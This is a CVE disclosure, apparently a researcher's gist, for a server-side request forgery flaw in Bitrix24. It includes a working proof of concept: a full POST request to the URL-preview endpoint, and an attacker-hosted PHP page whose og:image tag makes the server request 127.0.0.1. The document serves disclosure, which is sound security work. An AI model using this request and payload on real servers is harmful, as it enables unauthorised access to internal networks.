mariuszpoplwski / **CVE-2020-13484**

Last active last year

CVE-2020-13484

```
CVE-2020-13484

https://gist.github.com/mariuszpoplawski/26e1fbde8f9a607478bee1de90daa329



-----------------------------------------

 Bitrix24 through 20.0.975 allows SSRF via an intranet IP address in
 the services/main/ajax.php?action=attachUrlPreview url parameter, if
 the destination URL hosts an HTML document
 containing '<meta name="og:image" content="' followed by an intranet URL.

 -----------------------------------------

 [Additional Information]
 Vulnerability allow us to trigger server-side request forgery to remote
 addresses and second vulnerability in this functionality allowed us to
 bypass restrictions and generate other request that bypassed policy of
 local IP block. We were able to generate requests in internal
 infrastructure.

 In first stage we have found SSRF that allowed us only send remote
 requests. Then we manipulated the parser to parse our HTML page and
 generate second request to internal bitrix core at server side. Bitrix
 was prsing og:image tags, this way we could triggeer second SSRF. The
 second request was not properly checked for "local" IP's.

 To generate SSRF we need to trigger following request:

POST /bitrix/services/main/ajax.php?action=attachUrlPreview&show_actions=y&buildd_preview=y&die_step=3&admin_section=Y&show_cache_stat1=Y&c
Host: 192.168.1.24
Origin: http://192.168.1.24
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Bx-ajax: true
Accept: */*
Referer: http://192.168.1.24/stream/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: BITRIX_SM_TIME_ZONE=-120; BITRIX_SM_SALE_UID=0; BITRIX_SM_SOUND_LOGIN_PLAYED=Y; PHPSESSID=btu7cck1irm51hsgs45akh5dma; BITRIX_SM_NCC
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

url=http://OurVPSHost/index.php?id=1

 "OurVPSHost" host index.php file:
 --------------------------------
 <?php header('Content-Type:text/html'); ?>

 <meta name="og:image" content="http://127.0.0.1/fake_img.php"/
 --------------------------------

 Vulnerability send second SSRF, first one do not allow send internal
 request but the HTML parser parse our og:image tag and send internal
 request by redirecting bitrix server to 127.0.0.1/fake_img.php. This
 way we are able to bypass the restrictions of bitrix core.

 -----------------------------------------

 [VulnerabilityType Other]
 Unauthorized server side request forgery, bypass domain whitelist

 -----------------------------------------

 [Vendor of Product]
 1c-bitrix.ru, bitrix24.net

 -----------------------------------------

 [Affected Product Code Base]
 Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch

 -----------------------------------------

 [Affected Component]
 Main core URLPreview function

 -----------------------------------------

 [Attack Type]
```

```
Remote

---------------------------------------

[CVE Impact Other]
Force server side request forgery

---------------------------------------

[Attack Vectors]
To exploit vulnerability attacker need access to the website, valid
unauth session and CSRF token - all can be generated w/o any
privileges, no additional requirements needed.

---------------------------------------

[Has vendor confirmed or acknowledged the vulnerability?]
true

---------------------------------------

[Discoverer]
Mariusz Poplawski (afine.pl)

---------------------------------------

[Reference]
https://www.bitrix24.com/prices/self-hosted.php
https://www.bitrix24.com/security/


Mariusz Popławski / AFINE.com team
```